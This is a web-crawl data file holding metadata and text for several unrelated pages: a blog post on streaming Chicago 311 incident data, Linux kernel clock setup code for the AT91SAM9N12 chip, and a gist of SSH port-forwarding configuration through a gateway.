{ "url": "https://www.experts-exchange.com/questions/23490752/event-id-1202.html", "source_domain": "www.experts-exchange.com", "snapshot_id": "crawl=CC-MAIN-2018-26", "warc_metadata": { "Content-Length": "117867", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:3ED6KIYK2ERZVGOKWL4DTD3ITTQ7UDD5", "WARC-Concurrent-To": "<urn:uuid:a9ca767a-96ce-4f49-80c9-86017f69942b>", "WARC-Date": "2018-06-22T17:21:18Z", "WARC-IP-Address": "104.20.169.10", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:3KGAW3CSOIWCPVTSGHYIXC7GWLEDVVVZ", "WARC-Record-ID": "<urn:uuid:a4a33455-7564-4981-b37f-4b76d0f2128f>", "WARC-Target-URI": "https://www.experts-exchange.com/questions/23490752/event-id-1202.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:ecf2ed58-17cb-4bee-a336-5a0347052b68>" }, "warc_info": "robots: classic\r\nhostname: ip-10-229-194-245.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 16, 17, 119, 136, 158, 160, 180, 182, 184, 204, 284, 403, 405, 407, 425, 459, 471, 532, 533, 562, 590, 678, 680, 714, 715, 816, 817, 862, 863, 875, 876 ], "line_end_idx": [ 16, 17, 119, 136, 158, 160, 180, 182, 184, 204, 284, 403, 405, 407, 425, 459, 471, 532, 533, 562, 590, 678, 680, 714, 715, 816, 817, 862, 863, 875, 876, 923 ] }
{ "red_pajama_v2": { "ccnet_original_length": 923, "ccnet_original_nlines": 31, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.34020617604255676, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.010309279896318913, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.22164948284626007, "rps_doc_frac_unique_words": 0.6462584733963013, "rps_doc_mean_word_length": 4.897959232330322, "rps_doc_num_sentences": 17, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.313878536224365, "rps_doc_word_count": 147, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.02916667051613331, "rps_doc_frac_chars_top_3gram": 0.02222222089767456, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -92.02582550048828, "rps_doc_books_importance_length_correction": -92.02582550048828, "rps_doc_openwebtext_importance": -47.681236267089844, "rps_doc_openwebtext_importance_length_correction": -36.39059066772461, "rps_doc_wikipedia_importance": -38.5833625793457, "rps_doc_wikipedia_importance_length_correction": -38.5833625793457 }, "fasttext": { "dclm": 0.06869977712631226, "english": 0.8654962182044983, "fineweb_edu_approx": 1.2552790641784668, "eai_general_math": 0.002825560048222542, "eai_open_web_math": 0.2088513970375061, "eai_web_code": 0.00001419000000169035 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.446", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-6,643,879,476,902,454,000
Application Integration Real Time Streaming 311 Incidents In Chicago chicago-311 incidentsStudying the 311 landscape is part of our smart city research After discovering a handful of Open311 API feeds, we wanted to develop some prototypes that demonstrate how you can quickly make 311 incidents data streaming using Server-Sent Events (SSE) in any browser, or mobile device. Not every city supports Open311, making non-emergency incidents available in an easy-to-use API, using a common format, but Chicago is one major city that does—providing an example of one city that is ahead of the curve with the smart city journey. To get started,  we signed up for an API key within the Chicago 311 developer portal, and we took the API path for Chicago 311 requests And created a simple streaming web page using the Streamdata.io JavaScript SDK. All you have to do is take the HTML page below, plug in your own Streamdata.io API key, and you have a real-time streaming version of the Chicago 311 incidents feed. In addition to having a Streamdata.io account and API key. You are going to need to sign up for your own Chicago API key, which you can then add as a parameter to your Streamdata.io settings. We recommend putting it in your application settings and keeping out of the script code to minimize the secrets you are publishing on any web page. You can head over to the Chicago 311 API page to sign up for your own API key, and get more information about their API, including documentation, FAQs, and other resources. This same setup will work for any of the cities that support Open311 including San Francisco, Washington DC, Boston, and others. We just wanted to show what is possible with Chicago. Eventually, we’ll create real-time streaming versions of all the available 311 APIs and add them to a real-time streaming API gallery we are building. If you would like to see a real-time streaming version of 311 in your city but aren’t sure where to start, reach out and we’ll see what we can do to help. You can find the demo for this project over at Github or get at the scripts behind it with the Github repository. It is a pretty basic example of a listing page, but it gets the point across what you can do when streaming 511 traffic data. **Original source: streamdata.io blog
{ "url": "https://blog.axway.com/product-insights/amplify-platform/application-integration/real-time-311-incidents-chicago", "source_domain": "blog.axway.com", "snapshot_id": "crawl=CC-MAIN-2022-33", "warc_metadata": { "Content-Length": "103779", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:FKMXCVLSOSAXR75OBFBM3UPXZCNEIWGX", "WARC-Concurrent-To": "<urn:uuid:20cf7f1e-fcd8-41e2-b9d0-9868ccc9cb5b>", "WARC-Date": "2022-08-14T10:21:15Z", "WARC-IP-Address": "23.185.0.2", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:7XF4EDDM6A7QWVVBTEG7QD4TXZ7IWVBA", "WARC-Record-ID": "<urn:uuid:ecd14bc9-ae87-4833-ba40-f1f1aa926d32>", "WARC-Target-URI": "https://blog.axway.com/product-insights/amplify-platform/application-integration/real-time-311-incidents-chicago", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:1d2623b9-7bd3-4d83-a9d4-eeb93b6f5f46>" }, "warc_info": "isPartOf: CC-MAIN-2022-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-91\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 24, 25, 70, 71, 154, 155, 627, 628, 764, 765, 1011, 1012, 1525, 1526, 2015, 2016, 2256, 2257 ], "line_end_idx": [ 24, 25, 70, 71, 154, 155, 627, 628, 764, 765, 1011, 1012, 1525, 1526, 2015, 2016, 2256, 2257, 2294 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2294, "ccnet_original_nlines": 18, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4288747310638428, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03184713050723076, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.14225052297115326, "rps_doc_frac_unique_words": 0.48110830783843994, "rps_doc_mean_word_length": 4.622166156768799, "rps_doc_num_sentences": 20, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.827602863311768, "rps_doc_word_count": 397, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.04904631897807121, "rps_doc_frac_chars_dupe_6grams": 0.019618529826402664, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.016348769888281822, "rps_doc_frac_chars_top_3gram": 0.02125341072678566, "rps_doc_frac_chars_top_4gram": 0.0272479597479105, "rps_doc_books_importance": -211.78123474121094, "rps_doc_books_importance_length_correction": -211.78123474121094, "rps_doc_openwebtext_importance": -103.30123901367188, "rps_doc_openwebtext_importance_length_correction": -103.30123901367188, "rps_doc_wikipedia_importance": -75.52631378173828, "rps_doc_wikipedia_importance_length_correction": -75.52631378173828 }, "fasttext": { "dclm": 0.1389373540878296, "english": 0.8902440071105957, "fineweb_edu_approx": 1.4130231142044067, "eai_general_math": 0.025807319208979607, "eai_open_web_math": 0.14197397232055664, "eai_web_code": 0.12692683935165405 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "352.4", "labels": { "level_1": "Social sciences", "level_2": "Public administration and Military art and science", "level_3": "Local government" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
1,539,763,781,108,323,600
blob: 08494664ab78d362fcc3b62878cff83ce2cd3921 [file] [log] [blame] /* * SoC specific setup code for the AT91SAM9N12 * * Copyright (C) 2012 Atmel Corporation. * * Licensed under GPLv2 or later. */ #include <linux/module.h> #include <linux/dma-mapping.h> #include <asm/irq.h> #include <asm/mach/arch.h> #include <asm/mach/map.h> #include <mach/at91sam9n12.h> #include <mach/at91_pmc.h> #include <mach/cpu.h> #include <mach/board.h> #include "soc.h" #include "generic.h" #include "clock.h" #include "sam9_smc.h" /* -------------------------------------------------------------------- * Clocks * -------------------------------------------------------------------- */ /* * The peripheral clocks. */ static struct clk pioAB_clk = { .name = "pioAB_clk", .pmc_mask = 1 << AT91SAM9N12_ID_PIOAB, .type = CLK_TYPE_PERIPHERAL, }; static struct clk pioCD_clk = { .name = "pioCD_clk", .pmc_mask = 1 << AT91SAM9N12_ID_PIOCD, .type = CLK_TYPE_PERIPHERAL, }; static struct clk usart0_clk = { .name = "usart0_clk", .pmc_mask = 1 << AT91SAM9N12_ID_USART0, .type = CLK_TYPE_PERIPHERAL, }; static struct clk usart1_clk = { .name = "usart1_clk", .pmc_mask = 1 << AT91SAM9N12_ID_USART1, .type = CLK_TYPE_PERIPHERAL, }; static struct clk usart2_clk = { .name = "usart2_clk", .pmc_mask = 1 << AT91SAM9N12_ID_USART2, .type = CLK_TYPE_PERIPHERAL, }; static struct clk usart3_clk = { .name = "usart3_clk", .pmc_mask = 1 << AT91SAM9N12_ID_USART3, .type = CLK_TYPE_PERIPHERAL, }; static struct clk twi0_clk = { .name = "twi0_clk", .pmc_mask = 1 << AT91SAM9N12_ID_TWI0, .type = CLK_TYPE_PERIPHERAL, }; static struct clk twi1_clk = { .name = "twi1_clk", .pmc_mask = 1 << AT91SAM9N12_ID_TWI1, .type = CLK_TYPE_PERIPHERAL, }; static struct clk mmc_clk = { .name = "mci_clk", .pmc_mask = 1 << AT91SAM9N12_ID_MCI, .type = CLK_TYPE_PERIPHERAL, }; static struct clk spi0_clk = { .name = "spi0_clk", .pmc_mask = 1 << AT91SAM9N12_ID_SPI0, .type = CLK_TYPE_PERIPHERAL, }; static struct clk spi1_clk = { .name = "spi1_clk", .pmc_mask = 1 << AT91SAM9N12_ID_SPI1, .type = CLK_TYPE_PERIPHERAL, }; static struct clk uart0_clk = { .name = "uart0_clk", .pmc_mask = 1 << AT91SAM9N12_ID_UART0, .type = CLK_TYPE_PERIPHERAL, }; static struct clk uart1_clk = { .name = "uart1_clk", .pmc_mask = 1 << AT91SAM9N12_ID_UART1, .type = CLK_TYPE_PERIPHERAL, }; static struct clk tcb_clk = { .name = "tcb_clk", .pmc_mask = 1 << AT91SAM9N12_ID_TCB, .type = CLK_TYPE_PERIPHERAL, }; static struct clk pwm_clk = { .name = "pwm_clk", .pmc_mask = 1 << AT91SAM9N12_ID_PWM, .type = CLK_TYPE_PERIPHERAL, }; static struct clk adc_clk = { .name = "adc_clk", .pmc_mask = 1 << AT91SAM9N12_ID_ADC, .type = CLK_TYPE_PERIPHERAL, }; static struct clk dma_clk = { .name = "dma_clk", .pmc_mask = 1 << AT91SAM9N12_ID_DMA, .type = CLK_TYPE_PERIPHERAL, }; static struct clk uhp_clk = { .name = "uhp", .pmc_mask = 1 << AT91SAM9N12_ID_UHP, .type = CLK_TYPE_PERIPHERAL, }; static struct clk udp_clk = { .name = "udp_clk", .pmc_mask = 1 << AT91SAM9N12_ID_UDP, .type = CLK_TYPE_PERIPHERAL, }; static struct clk lcdc_clk = { .name = "lcdc_clk", .pmc_mask = 1 << AT91SAM9N12_ID_LCDC, .type = CLK_TYPE_PERIPHERAL, }; static struct clk ssc_clk = { .name = "ssc_clk", .pmc_mask = 1 << AT91SAM9N12_ID_SSC, .type = CLK_TYPE_PERIPHERAL, }; static struct clk *periph_clocks[] __initdata = { &pioAB_clk, &pioCD_clk, &usart0_clk, &usart1_clk, &usart2_clk, &usart3_clk, &twi0_clk, &twi1_clk, &mmc_clk, &spi0_clk, &spi1_clk, &lcdc_clk, &uart0_clk, &uart1_clk, &tcb_clk, &pwm_clk, &adc_clk, &dma_clk, &uhp_clk, &udp_clk, &ssc_clk, }; static struct clk_lookup periph_clocks_lookups[] = { /* lookup table for DT entries */ CLKDEV_CON_DEV_ID("usart", "fffff200.serial", &mck), CLKDEV_CON_DEV_ID("usart", "f801c000.serial", &usart0_clk), CLKDEV_CON_DEV_ID("usart", "f8020000.serial", &usart1_clk), CLKDEV_CON_DEV_ID("usart", "f8024000.serial", &usart2_clk), CLKDEV_CON_DEV_ID("usart", "f8028000.serial", &usart3_clk), CLKDEV_CON_DEV_ID("t0_clk", "f8008000.timer", &tcb_clk), CLKDEV_CON_DEV_ID("t0_clk", "f800c000.timer", &tcb_clk), CLKDEV_CON_DEV_ID("dma_clk", "ffffec00.dma-controller", &dma_clk), CLKDEV_CON_ID("pioA", &pioAB_clk), CLKDEV_CON_ID("pioB", &pioAB_clk), CLKDEV_CON_ID("pioC", &pioCD_clk), CLKDEV_CON_ID("pioD", &pioCD_clk), /* additional fake clock for macb_hclk */ CLKDEV_CON_DEV_ID("hclk", "500000.ohci", &uhp_clk), CLKDEV_CON_DEV_ID("ohci_clk", "500000.ohci", &uhp_clk), }; /* * The two programmable clocks. * You must configure pin multiplexing to bring these signals out. */ static struct clk pck0 = { .name = "pck0", .pmc_mask = AT91_PMC_PCK0, .type = CLK_TYPE_PROGRAMMABLE, .id = 0, }; static struct clk pck1 = { .name = "pck1", .pmc_mask = AT91_PMC_PCK1, .type = CLK_TYPE_PROGRAMMABLE, .id = 1, }; static void __init at91sam9n12_register_clocks(void) { int i; for (i = 0; i < ARRAY_SIZE(periph_clocks); i++) clk_register(periph_clocks[i]); clk_register(&pck0); clk_register(&pck1); clkdev_add_table(periph_clocks_lookups, ARRAY_SIZE(periph_clocks_lookups)); } /* -------------------------------------------------------------------- * AT91SAM9N12 processor initialization * -------------------------------------------------------------------- */ static void __init at91sam9n12_map_io(void) { at91_init_sram(0, AT91SAM9N12_SRAM_BASE, AT91SAM9N12_SRAM_SIZE); } void __init at91sam9n12_initialize(void) { at91_extern_irq = (1 << AT91SAM9N12_ID_IRQ0); /* Register GPIO subsystem (using DT) */ at91_gpio_init(NULL, 0); } struct at91_init_soc __initdata at91sam9n12_soc = { .map_io = at91sam9n12_map_io, .register_clocks = at91sam9n12_register_clocks, .init = at91sam9n12_initialize, };
{ "url": "https://linux.googlesource.com/linux/kernel/git/klassert/ipsec/+/refs/tags/v3.6/arch/arm/mach-at91/at91sam9n12.c?autodive=0%2F%2F%2F", "source_domain": "linux.googlesource.com", "snapshot_id": "CC-MAIN-2023-06", "warc_metadata": { "Content-Length": "82515", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:KRELWOUFZ3DGGZWSJ5WJE3FFGMRPDHZL", "WARC-Concurrent-To": "<urn:uuid:2a2bdea0-d359-46ac-a0df-1c9d6ec29bd2>", "WARC-Date": "2023-02-08T07:42:47Z", "WARC-IP-Address": "172.253.122.82", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:HNMUQWX6TR5VVZQTZ6QB7JBBR6A5OL54", "WARC-Record-ID": "<urn:uuid:0e79d333-6fbb-4f03-9e30-bddd0ac28048>", "WARC-Target-URI": "https://linux.googlesource.com/linux/kernel/git/klassert/ipsec/+/refs/tags/v3.6/arch/arm/mach-at91/at91sam9n12.c?autodive=0%2F%2F%2F", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:a7cb0657-165d-4fe6-870b-d1efb1672ee8>" }, "warc_info": "isPartOf: CC-MAIN-2023-06\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January/February 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-78\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 68, 71, 117, 119, 159, 161, 194, 197, 223, 254, 275, 302, 328, 358, 385, 407, 431, 448, 469, 488, 510, 582, 591, 665, 668, 693, 696, 728, 749, 788, 817, 820, 852, 873, 912, 941, 944, 977, 999, 1039, 1068, 1071, 1104, 1126, 1166, 1195, 1198, 1231, 1253, 1293, 1322, 1325, 1358, 1380, 1420, 1449, 1452, 1483, 1503, 1541, 1570, 1573, 1604, 1624, 1662, 1691, 1694, 1724, 1743, 1780, 1809, 1812, 1843, 1863, 1901, 1930, 1933, 1964, 1984, 2022, 2051, 2054, 2086, 2107, 2146, 2175, 2178, 2210, 2231, 2270, 2299, 2302, 2332, 2351, 2388, 2417, 2420, 2450, 2469, 2506, 2535, 2538, 2568, 2587, 2624, 2653, 2656, 2686, 2705, 2742, 2771, 2774, 2804, 2819, 2856, 2885, 2888, 2918, 2937, 2974, 3003, 3006, 3037, 3057, 3095, 3124, 3127, 3157, 3176, 3213, 3242, 3245, 3295, 3307, 3319, 3332, 3345, 3358, 3371, 3382, 3393, 3403, 3414, 3425, 3436, 3448, 3460, 3470, 3480, 3490, 3500, 3510, 3520, 3530, 3533, 3586, 3620, 3673, 3733, 3793, 3853, 3913, 3970, 4027, 4094, 4129, 4164, 4199, 4234, 4276, 4328, 4384, 4387, 4390, 4421, 4487, 4490, 4517, 4533, 4560, 4591, 4600, 4603, 4630, 4646, 4673, 4704, 4713, 4716, 4769, 4771, 4778, 4826, 4858, 4879, 4900, 4940, 4976, 4978, 5050, 5089, 5163, 5207, 5209, 5274, 5276, 5317, 5319, 5365, 5406, 5431, 5433, 5485, 5515, 5563, 5595 ], "line_end_idx": [ 68, 71, 117, 119, 159, 161, 194, 197, 223, 254, 275, 302, 328, 358, 385, 407, 431, 448, 469, 488, 510, 582, 591, 665, 668, 693, 696, 728, 749, 788, 817, 820, 852, 873, 912, 941, 944, 977, 999, 1039, 1068, 1071, 1104, 1126, 1166, 1195, 1198, 1231, 1253, 1293, 1322, 1325, 1358, 1380, 1420, 1449, 1452, 1483, 1503, 1541, 1570, 1573, 1604, 1624, 1662, 1691, 1694, 1724, 1743, 1780, 1809, 1812, 1843, 1863, 1901, 1930, 1933, 1964, 1984, 2022, 2051, 2054, 2086, 2107, 2146, 2175, 2178, 2210, 2231, 2270, 2299, 2302, 2332, 2351, 2388, 2417, 2420, 2450, 2469, 2506, 2535, 2538, 2568, 2587, 2624, 2653, 2656, 2686, 2705, 2742, 2771, 2774, 2804, 2819, 2856, 2885, 2888, 2918, 2937, 2974, 3003, 3006, 3037, 3057, 3095, 3124, 3127, 3157, 3176, 3213, 3242, 3245, 3295, 3307, 3319, 3332, 3345, 3358, 3371, 3382, 3393, 3403, 3414, 3425, 3436, 3448, 3460, 3470, 3480, 3490, 3500, 3510, 3520, 3530, 3533, 3586, 3620, 3673, 3733, 3793, 3853, 3913, 3970, 4027, 4094, 4129, 4164, 4199, 4234, 4276, 4328, 4384, 4387, 4390, 4421, 4487, 4490, 4517, 4533, 4560, 4591, 4600, 4603, 4630, 4646, 4673, 4704, 4713, 4716, 4769, 4771, 4778, 4826, 4858, 4879, 4900, 4940, 4976, 4978, 5050, 5089, 5163, 5207, 5209, 5274, 5276, 5317, 5319, 5365, 5406, 5431, 5433, 5485, 5515, 5563, 5595, 5597 ] }
{ "red_pajama_v2": { "ccnet_original_length": 5597, "ccnet_original_nlines": 216, "rps_doc_curly_bracket": 0.010362690314650536, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.04820333048701286, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.06310254335403442, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.5784399509429932, "rps_doc_frac_unique_words": 0.38307350873947144, "rps_doc_mean_word_length": 8, "rps_doc_num_sentences": 103, "rps_doc_symbol_to_word_ratio": 0.011393509805202484, "rps_doc_unigram_entropy": 4.367352485656738, "rps_doc_word_count": 449, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.21046771109104156, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.08351892977952957, "rps_doc_frac_chars_top_3gram": 0.10022272169589996, "rps_doc_frac_chars_top_4gram": 0.1929287314414978, "rps_doc_books_importance": -494.8387451171875, "rps_doc_books_importance_length_correction": -494.8387451171875, "rps_doc_openwebtext_importance": -339.1080322265625, "rps_doc_openwebtext_importance_length_correction": -339.1080322265625, "rps_doc_wikipedia_importance": -253.66893005371094, "rps_doc_wikipedia_importance_length_correction": -253.66893005371094 }, "fasttext": { "dclm": 0.9999063014984131, "english": 0.2779618501663208, "fineweb_edu_approx": 3.824725389480591, "eai_general_math": 0.9202715158462524, "eai_open_web_math": 0.119998037815094, "eai_web_code": 0.21396559476852417 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.02", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "621.392", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Engineering", "level_3": "Mechanical engineering and Machinery" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "-1", "label": "Abstain" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "0", "label": "No missing content" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "3", "label": "Academic Writing" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "5", "label": "Exceptionally Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
4,102,092,703,900,841,000
Skip to content Instantly share code, notes, and snippets. @andmax Last active Dec 12, 2019 Embed What would you like to do? Tunnel port through ssh gateway useful for tensorboard/notebook behind a firewall ssh -L <local-port>:<2nd-pc-address>:<2nd-pc-port> <1st-pc-address> = Host target-forwarding Hostname <1st-pc-address> User <1st-pc-username> LocalForward <local-port> <2nd-pc-address>:<2nd-pc-port> IdentityFile <1st-pc-identity-file> # if unix is the gateway (1st-pc) and has its own configuration Host unix-gateway User <1st-pc-username> Port <1st-pc-port> HostName <1st-pc-address> IdentityFile <1st-pc-identity-file> Host target-forwarding User <2nd-pc-username> HostName <2nd-pc-address> ProxyCommand ssh -aT unix-gateway nc %h %p IdentityFile <2nd-pc-identity-file> # if windows is the gateway (1st-pc) then have cygwin64/nc.exe installed and do: Host windows-gateway User <1st-pc-username> Port <1st-pc-port> Hostname <1st-pc-address> IdentityFile <1st-pc-identity-file> Host target-forwarding User <2nd-pc-username> HostName <2nd-pc-address> ProxyCommand ssh -aT windows-gateway c:\\cygwin64\\bin\\nc.exe %h %p IdentityFile <2nd-pc-identity-file> Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
{ "url": "https://gist.github.com/andmax/abfcd54f5f1c5610c5ed7c77ae44887a", "source_domain": "gist.github.com", "snapshot_id": "crawl=CC-MAIN-2022-27", "warc_metadata": { "Content-Length": "79231", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:YQPQOS7WP52MZ2P4DBYNZYQMP76SLBSP", "WARC-Concurrent-To": "<urn:uuid:3fb27f1b-2934-46eb-8ee2-f40c4219b7af>", "WARC-Date": "2022-07-06T17:36:10Z", "WARC-IP-Address": "140.82.112.3", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:GITOF6OBH3NDWN2PPR5NBBTBIEBLMG5E", "WARC-Record-ID": "<urn:uuid:2d1035b5-76a1-4beb-ae85-79b3c77b0e4e>", "WARC-Target-URI": "https://gist.github.com/andmax/abfcd54f5f1c5610c5ed7c77ae44887a", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:795025bf-1e45-46c1-a86d-44417165ab97>" }, "warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-111\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 16, 17, 60, 61, 69, 94, 100, 127, 209, 277, 279, 302, 328, 351, 408, 444, 508, 526, 549, 568, 594, 630, 653, 676, 702, 745, 781, 862, 883, 906, 925, 951, 987, 1010, 1033, 1059, 1128, 1164 ], "line_end_idx": [ 16, 17, 60, 61, 69, 94, 100, 127, 209, 277, 279, 302, 328, 351, 408, 444, 508, 526, 549, 568, 594, 630, 653, 676, 702, 745, 781, 862, 883, 906, 925, 951, 987, 1010, 1033, 1059, 1128, 1164, 1261 ] }
